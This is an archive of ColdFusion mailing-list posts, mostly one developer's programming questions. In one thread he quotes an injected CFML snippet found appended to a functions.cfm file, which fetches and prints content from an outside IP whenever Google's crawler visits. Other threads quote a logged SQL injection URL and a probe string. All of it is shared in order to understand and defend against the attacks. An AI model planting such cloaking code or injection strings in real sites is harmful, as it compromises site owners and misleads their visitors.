http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354107
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Query of Query problem: Merging and sorting two query results

2013-01-29 Thread Les Mizzell

   On 1/29/2013 4:16 PM, =?ISO-8859-1?Q?Claude_Schn=E9egans wrote:
   Just create empty columns when they are missing, ie:
   '' AS off1_name,


Ahhh - that works! Didn't know you could do that!
Thanks



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354110
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Anybody seen this hack/exploit?

2012-11-13 Thread Les Mizzell

Recently a site of ours got hacked - basically, a Google search the site 
was returning viagra info!
What we got was a small script added to the end of a functions.cfm file:

cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) /cfif (Find( 
google, REQUEST.UserAgent )) 
cfhttp method=get 
url=http://168.16.228.250/fms/;cfoutput#cfhttp.filecontent#/cfoutput/cfif

I'm not the server admin for this site, so they're sorta pointing the 
finger at us developers, and we're pointing fingers back at them about 
lax server security. We've got a boatload of stuff on this site to 
prevernt SQL injection, including Justin D. Scott's application script, 
carefully checking anything to goes into the database, client and server 
side form validation, blah, blah, blah...

Anybody seen the above, and if so, thoughts? Anybody manage to determine 
how the exploit happened to start with?


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353143
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Anybody seen this hack/exploit?

2012-11-13 Thread Les Mizzell

  Issues like this are typically caused by either SQL injection (i.e. 
didn't use cfqueryparam) or
  some sort of FTP vulnerability. My first step would be to make sure 
that *every*
  cfquery that accepts any input of any kind from users is utilizing 
cfqueryparam.

Everything is paramed to the hilt - I sanitize all form vars BEFORE 
the query, and then use cfqueryparam on top of that ... so I'm guess 
we're looking at a ftp vulnerability.

Question though - how could an injection attempt on an unprotected query 
add a piece of script to a static page that doesn't even have any 
queries on it?
I'd kinda like to see what that looked like, if it's possible...


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353145
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Another weird SQL Injection attempt

2012-09-30 Thread Les Mizzell

Never seen this before! Script in Application file, as usual, caught it 
before it got further...

Here's what was tried:


/index.cfm?action=dance.school%29%29%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version--40version--=MSOTlPn_View=0MSOTlPn_ShowSettings=False%27%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version%29--MSOGallery_SelectedLibrary=MSOGallery_FilterString=MSOTlPn_Button=none__REQUESTDIGEST=MSOAuthoringConsole_FormContext=MSOAC_EditDuringWorkflow=MSOSPWebPartManager_DisplayModeName=BrowseMSOWebPartPage_Shared=MSOLayout_LayoutChanges=MSOLayout_InDesignMode=MSOSPWebPartManager_OldDisplayModeName=BrowseMSOSPWebPartManager_StartWebPartEditingName=falseASB_TextDT_Props=ASB_DateTimeDT_Props=Write%23%3B%23CreatedASB_ResType_Query=__VIEWSTATE=PostList%24ctl06%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl07%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl08%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl09%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl10%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl11%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl12%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl13%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl14%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl15%24ctl26%24ctl01=nochangectl00%24ctl00%24bcr%24bcr%24ctl01%24ctl03%24ctl00%24PostList%24ctl16%24ctl26%24ctl01=nochange00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%240=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%241=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%242=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%243=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%244=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%245=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%246=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%247=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%248=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%249=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%2410=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%2411=ctl00%24ContentPlaceHolder1%24FilterAdDefault1%24filterAdCar_ascxControl1%24checkBoxListMakeMore%2412=ctl00%24ContentP


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352784
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: What does +no+post+sending+forms+are+found do?

2012-09-26 Thread Les Mizzell

On 9/25/2012 6:13 PM, =?ISO-8859-1?Q?Claude_Schn=E9egans wrote:
 It looks like a search engine which is clumsily redirecting search result to 
 some of your pages.


Looking up the IP address it came from:

IP: 194.190.33.234
Decimal:3267240426
Hostname:   194.190.33.234
ISP:ROSNIIROS Russian Institute for Public Networks
Organization:   CJSK Uchrezhdencheskij telefonnyj uzel
Services:   Suspected network sharing device 
http://whatismyipaddress.com/ip-services
Recently reported forum spam source. (165)
Type:   Broadband http://whatismyipaddress.com/broadband
Assignment: Static IP http://whatismyipaddress.com/dynamic-static




~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352776
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


What does +no+post+sending+forms+are+found do?

2012-09-25 Thread Les Mizzell

In what looks like an injection attempt or something (?), what exactly 
does the following do?

somepage.cfm?Result:+using+proxy+177.103.197.203:8080;+no+post+sending+forms+are+found;

I've got a script in my application file that's stopped/caught a bunch 
of these over the last few days.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352751
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


rss.cfc problem in IE9

2012-08-15 Thread Les Mizzell

It's always IE...

Have a site that has a number of feeds using Raymond Camdens rss.cfc, 
version 0.1
It's been working great in every single browser, cell phone, you name 
it, since put into service years ago using an earlier version of the cfc.

IE 9 comes along - when I look at a feed I get a blank page.
Client sees something different - a page of run-on unformatted text.

View Source shows me the XML source just like I'd expect.
The XML source validates in the w3schools validator.

Switching the IE9 browser mode to anything else - displays as it should.

Anybody else had issues like this and can point to a fix?
Google hasn't turned up too much helpful stuff yet.

I may just rewrite the page using CFFEED and see what happens, but 
before I do that, just wondered if anybody else had seen issues like 
this and had a fix.



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352164
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


struct/array problem with empty cells

2012-06-23 Thread Les Mizzell

Need a little assistance with a struct/array problem please!
---

Data in question is coming from ONE row in the database.
There are six fpcomm cells: fpcomm1,fpcomm2, ... and so on
There are also six fpord cells: fpord1, fpord2, ... and so on

So, I need to display the contents of the fpcomm cells, ordered by the 
integer in the fpord cells.
My query is getNEWS.

The below works great, and sorts the results as I need.

cfset allNEWS = StructNew()
cfloop from=1 to=6 index=i
cfset oneSTORY = StructNew()
cfset oneSTORY.cellID = #i#
cfset oneSTORY.ord = #getNEWS[fpord#i#][1]#
cfset oneSTORY.cell = #getNEWS[fpcomm#i#][1]#
cfset allNEWS[oneSTORY.cell] = oneSTORY
/cfloop
cfset sortedKeys = StructSort(allNEWS, numeric, asc, ord)

Here's the problem, maybe fpcomm5 and fpcomm6 are EMPTY (or NULL) on a 
particular day. REGARDLESS, I still need all six positions in 
sortedKeys returned.

Let's say for the moment that fpcomm5 and fpcomm6 cells are empty. If I 
do a dump of sortedKeys, I'll get:
array
1   Item One
2   Item Two
3   Something Else
4   Even Something Else
5   [empty string]


It INCLUDES the first emtpy row (fpcomm5), but NOT fpcomm6, which looks 
exactly like fpcomm5 in the database.
If fpcomm4, 5, and 6 are empty, it will include fpcomm4, but not 5 and 6.
Weird - it only include the FIRST empty element

I need the array to always include all six elements. [empty string] is 
exactly what I need - but I need ALL of them.

Suggestions?



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:351660
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


date and time from two different inputs query a single datetime field

2012-05-10 Thread Les Mizzell

cfinput type=text name=xdate_use  ex: 05/31/2012
cfinput type=text name=xtime  ex: 3:31 PM

Given the values used as examples for the fields above, exactly how 
would I go about querying a datetime stamp field (SQL Server) to find 
all records dates on or after the date/time above?

No problem doing it with just the date:

   responsedate = cfqueryparam value=#trim(form.xdate)# 
cfsqltype=CF_SQL_DATE /


  but for the life of me, I can't figure how to put both fields together 
to do date AND time...

I'm probably an idiot..

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:351112
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Checking for a duplicate value question

2012-05-05 Thread Les Mizzell

I did two test using the basic code below.
First test exactly like below using a list.
2nd test, modifying the below to build an array instead of a list and 
checking for a duplicate value in the array

The query used returned a list of close to 14,000 email addresses

Average total time in both cases was around 400 milliseconds (out of 
running the code 20 times or so)
On the average, the list compare method edged out the array by 10 or 20 
milliseconds, BUT - sometimes the array method won out.
Not sure what I learned from that. The list method is slightly less code 
and I've got that working already. Think I'll leave it as is.
At the most, this type of thing only gets run a few times a day, so it's 
not constantly chewing server resources.
-

cfset req.thisLIST = lesm...@bellsouth.net,someonee...@somewhere.com
cfset sTime = getTickCount()
cfquery name=rmailLISTBIG QUERY HERE THAT RETURNS 14,000 email 
addresses/cfquery

pTime after Initial Query: cfoutput#evaluate(getTickCount() - 
sTime)# milliseconds/cfoutput/p

cfset req.groupLIST = #valuelist(rmailLIST.ml_email)# /

pTime after Build List: cfoutput#evaluate(getTickCount() - sTime)# 
milliseconds/cfoutput/p

cfoutput
cfloop list=#req.thisLIST# index=i
cfif IsDefined(i) AND isVALID(email, #i#) AND NOT 
listfindnocase(req.groupLIST,#i#)
p#i# wasn't found/p
cfelse
p#i# was found/p
/cfif
/cfloop
/cfoutput

pTime after CHECK LIST: cfoutput#evaluate(getTickCount() - sTime)# 
milliseconds/cfoutput/p


  I have created a new blog post where I have taken the code for 
indexOf() from java and
  modified it to work in this manner for ColdFusion.
  -- Regards, Andrew Scott WebSite: http://www.andyscott.id.au/

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:351010
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Checking for a duplicate value question

2012-05-04 Thread Les Mizzell

Thanks for this post. I've not had time to get back into this yet, but 
will run some experiments against the data I've got to see what actually 
works best. Worst case would be three or four email addresses being 
searched for in a result list of 4000 or so returned from the database.


 I have created a new blog post where I have taken the code for indexOf() from 
 java and
 modified it to work in this manner for ColdFusion.

 -- Regards, Andrew Scott WebSite: http://www.andyscott.id.au/


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:351009
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Checking for a duplicate value question

2012-05-03 Thread Les Mizzell

  When getting the information out of the database, us distinct on the 
field.

Only one list is coming from the database, the other is from a 
completely different source.

  convert your list to an array and loop over that

The small list is the one that will have the operations done to it. The 
large list is the one that I need to search for duplicate values. If the 
server was running CF9 then I could use ArrayFind but that's not 
available in CF8.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350975
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Checking for a duplicate value question

2012-05-02 Thread Les Mizzell

Got an app that sends out email to various lists  - CF8

I'm checking to be sure there are any duplicates between the two lists

req.this list - usually pretty small - ten or so email addresses
req.groupLIST -  is the problem - it could be a500 or more addresses at 
times.

cfloop list=#req.thisLIST# index=i
cfif NOT listfindnocase(req.groupLIST,#i#)
   DO MY STUFF HERE
/cfif
/cfloop

Is there a more efficient way to do the above? If req.groupLIST ends up 
being a HUGE list - at what point will this choke down and time out?



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350969
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Bracket Notation

2012-03-30 Thread Les Mizzell

Trying to get the below to work in a loop:

#detail.off1_street#
#detail.off2_street#
#detail.off3_street#
#detail.off4_street#

So, this seems correct...

cfloop from=1 to=4 index=idx
 #detail[off#idx#_street]#br /
/cfloop

error: cftComplex object types cannot be converted to simple values


I've tried a couple versions of that. H ... I'm either an idiot or 
need another cup of coffee.

Point a poor soul in the right direction

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350599
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Bracket Notation

2012-03-30 Thread Les Mizzell

These don't word either:

#detail[offidx_street]#
#detail[off#idx#_street]#

 Trying to get the below to work in a loop:

 #detail.off1_street#
 #detail.off2_street#
 #detail.off3_street#
 #detail.off4_street#


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350601
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Bracket Notation

2012-03-30 Thread Les Mizzell

On 3/30/2012 12:03 PM, morgan lindley wrote:
 Is 'detail' a query? If so, you need
 #detail[off#idx#_street] [detail.currentRow]#.


Ahhh - correct! Found a blog entry somewhere by Ray C. verifying as well.

This works:

cfloop from=1 to=4 index=idx
 #detail[off#idx#_street][1]#
/cfloop

Thanks!

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350604
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


How to validate a CFINPUT Test field to NOT allow certain values?

2012-03-27 Thread Les Mizzell

Trying to figure out how to validate a specific cfinput text input field.

I need this input to NOT allow any previously existing value coming from 
a query. (long list of part numbers.)

Is there any way to use the bind parameter to pull this off?

Suggestions?

Looking at jquery ideas, but haven't found what I need yet.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350561
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Admin System - Temp Tables? Advice?

2012-03-21 Thread Les Mizzell

I'm in the process of rewriting the admin system for an older website. 
On this version, client want to be able to edit/add/delete anything at 
will, and have it NOT got live until he's decided he's done with that 
part.

My current thought is to use a temp table(s) that:
a. when visiting an edit page - LOADS the live data into the temp table
b. all editing is done in the temp table
c. once he likes it, he can hit the publish button, and the temp data 
replaces whatever is currently in the live table.
d. after that transaction is completed, the temp table is emptied again

Seem like a plan? Is there a better way? How does everybody else handle 
this stuff?

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350501
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


CF9 and Excel - advice sought

2012-01-04 Thread Les Mizzell

Is CF9 limited to the versions of Excel it will work with?

I've got an application running in CF8 to import email/name lists using 
the POI Utility (thanks Ben Nadlel).  When (and it's not often) the 
client normalizes their data and removes all formatting, AND uses a pre 
Excel 2007 file (.xls), the utility works great.

That usually doesn't happen - there's formatting, and gawd knows what 
they leave in the files. If it's a small list being imported, the 
utility will usually manage to chew through it and import the data. 
Larger files (1000+ records) though - usually time out and the import 
fails. Excel 2007 (.xlsx) and forward usually fails too.

I'm not sure what my solution is yet. I need a more robust utility and 
that can what they're going to throw at it, because they're NOT going to 
worry about formatting, or converting the files to csv, or any of that 
stuff...

I've thought about using a ODBC Socket and use the Excel as a datasource 
and read from that, but there's no way I'm going to convince them to 
ALWAYS have that first row as the column headers either.

YES - I know this is partially a problem with the client! Nothing I can 
do about that part! They pay well and often

I've not had a chance to work with cfspreadsheet yet.
Works OK reading different version Excel files?
What other experiences has everybody had?

If folks seem to think it works better than what I'm doing in CF8, I'll 
convince them to upgrade their server...

Thanks,
Les


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:349318
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: SOT: curved corners

2011-11-29 Thread Les Mizzell

  Best-practices questions re: achieving borders with curved corners.


At some point (...and I have this problem with clients too), we've GOT 
to convince our clients that degrade gracefully isn't a bad thing. 
They see some wizz-bang widget they want, and then scream when it won't 
work in IE6 just like it works everywhere else.

Sheesh!!

Meanwhile - yup, there's some j-query and will get it to work in some 
older browsers


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:348906
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: HTML5 Browser Support

2011-11-16 Thread Les Mizzell

  The issue that Crockford brought up though is a valid one. It's
  not the browser manufacturers that are the problem, it's the
  users and corporate IT departments that don't/won't upgrade.

My largest client has offices in 15 different cities - and every PC they have 
is running IE7 and they DON'T CARE how it works or what it looks like in 
anything BUT IE7.

Drives me out of my freaking mind!



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:348756
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Multiple reply-to addresses?

2011-09-27 Thread Les Mizzell

What's the proper method of adding multiple reply-to addresses with 
cfmail?

I've tried a couple of things:

cfmail
   to=#req.emailTO#
   from=m...@myaddress.com
   replyto=m...@myaddress.comcfif 
len(form.additionalreplyto),#form.additionalreplyto#/cfif
   failto=m...@myaddress.com
   type=html
   subject=#form.emailSUBJECT#
   server=someserver.com

Also tried using cfmailparam:
cfmailparam name=Reply-Tovalue=m...@myaddress.comcfif 
len(form.additionalreplyto),#form.additionalreplyto#/cfif

   or TWO cfmailparam tags:

cfmailparam name=Reply-Tovalue=m...@myaddress.com
cfif len(form.additionalreplyto)cfmailparam 
name=Reply-Tovalue=#form.additionalreplyto#/cfif


None of these send an email that will go to both addresses when you hit 
reply.  Totally confused at this point.




~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:347742
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Multiple reply-to addresses?

2011-09-27 Thread Les Mizzell

On 9/27/2011 10:06 AM, Russ Michaels wrote:

  it is not valid to have multiple reply-to addresses, if you want it to
  go to multiple users then set the reply-to to a LIST/MRA address.

Interestingly enough, in Thunderbird I can add multiple reply-to 
addresses when composing an email, and they will appear in thereceived 
email header as:

reply-to: o...@address.com,t...@address.com

...and indeed, hitting reply will then show both of them as To 
addresses ...

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:347746
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Way to send data as a form without using a form?

2011-08-21 Thread Les Mizzell

  Is there any way to send data as form values without
  actually using a form? Thanks, Pete


I've had good success with WDDX myself. You can cram almost anything in 
there and extract it on the other end.

http://livedocs.adobe.com/coldfusion/8/htmldocs/help.html?content=XML_18.html

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:346904
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


cgi.http_referrer question

2011-08-11 Thread Les Mizzell

I've got a site using an .htaccess file for friendly URLs.
The index page of the site controls everything, so the .htaccess file 
simply converts the the url into variables and redirects back to the index.

User sees:
www.mysite.com/newsletters/march

Get's directed to:
www.mysite.com?area=newslettersmonth=march

...or whatever

I've got a case where I need to know the link within the site that a 
user came from on in order to direct them elsewhere properly.

Problem is that cgi.http_referrer doesn't play nice with the .htaccess file.

If I come from my example above:
www.mysite.com/newsletters/march

cfdump var=#CGI# gives me:

HTTP_HOST   www.encompassediscoverymysite.com
HTTP_REFERER[empty string]
PATH_INFO   /index.cfm

Any ideas of another way I can capture the address as 
www.mysite.com/newsletters/march?



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:346691
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: CSS Conditionals Question

2011-08-11 Thread Les Mizzell

On 8/11/2011 10:15 AM, Che Vilnonis wrote:

 I know how to call/import different CSS files using statements like this:
   !--[if lte IE 7]


I've been avoiding hacks if possible myself. Microsoft tends to break 
them with each new release. I've started using a conditional in the body 
of my files. It's been working rather well...

!--[if IE] div id=IEroot ![endif]--

   p id=myParaStyleEverything goes here/p

!--[if IE] /div ![endif]--

In my CSS

#myParaStyle { ... stuff for most }
#IEroot #myParaStyle { ...stuff just for IE }



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:346694
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: cgi.http_referrer question

2011-08-11 Thread Les Mizzell

On 8/11/2011 11:39 AM, Russ Michaels wrote:

 there should be some additional headers that are added by Apache with the
 original requested url, they may not be in the CGI scope though, or perhaps
 you need to specifically enable them in the Apache config.

Figured out a way to do it. Maybe not ideal, but it works.

http_referrer is returning the url variable as the htaccess defines it 
as a query string:

cgi.QUERY_STRING = action=whatever...

So, if I strip out all the unneeded stuff (don't know where the ... at 
the end is coming from, but it's in the dump):

cfset thisURL = replace(#cgi.QUERY_STRING#,action=,,all) 
cfset thisURL = replace(#thisURL#,.,,all) 

...and that give me JUST the url var I started with, so I can rebuild 
from here:

url = http://www.mysite.com/#thisURL#

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:346708
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Little help with a query please...

2011-05-04 Thread Les Mizzell

Below is for a search interface I'm working on.

A single word into the query works fine.

I've a function that cleans the input, removes common words, and builds 
a list. The list is getting built properly.


If I input bob,ted I get an vague syntax error (shared hosting - robut 
reporting is off). If I output the query to see what's being generated I 
get:

WHERE section  'news'
AND ( headline LIKE %bob% or content LIKE %bob% )
AND ( headline LIKE %ted% or content LIKE %ted% )

Been awake too long. What's wrong with the below?

SELECT
   id_page,
   headline,
   content,
   section
  FROM pages
  WHERE section  'news'
  cfif ListLen('#myLIST#') gt 1
   AND
cfloop list=#mylist# index=i
 cfset #thisROW# = #thisROW# + 1 /
( headline LIKE cfqueryparam value=%#i#%
 cfsqltype=cf_sql_varchar
   OR content LIKE cfqueryparam value=%#i#%
cfsqltype=cf_sql_varchar )
cfif #thisROW# LT #listCOUNT# AND /cfif
   /cfloop
  cfelse
 AND ( headline LIKE cfqueryparam value=%#req.cleanerINPUT#%
  cfsqltype=cf_sql_varchar
 OR content LIKE cfqueryparam value=%#req.cleanerINPUT#%
  cfsqltype=cf_sql_varchar )
  /cfif

~|
Order the Adobe Coldfusion Anthology now!
